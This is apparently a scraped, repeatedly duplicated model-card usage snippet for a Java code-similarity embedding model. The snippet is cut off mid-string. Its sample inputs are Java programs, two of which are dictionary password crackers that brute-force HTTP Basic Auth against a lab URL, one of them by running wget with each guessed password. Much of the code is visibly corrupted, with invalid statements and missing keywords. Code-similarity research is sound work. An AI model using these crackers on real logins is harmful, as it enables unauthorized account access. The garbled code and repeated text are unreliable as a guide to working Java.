\n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= 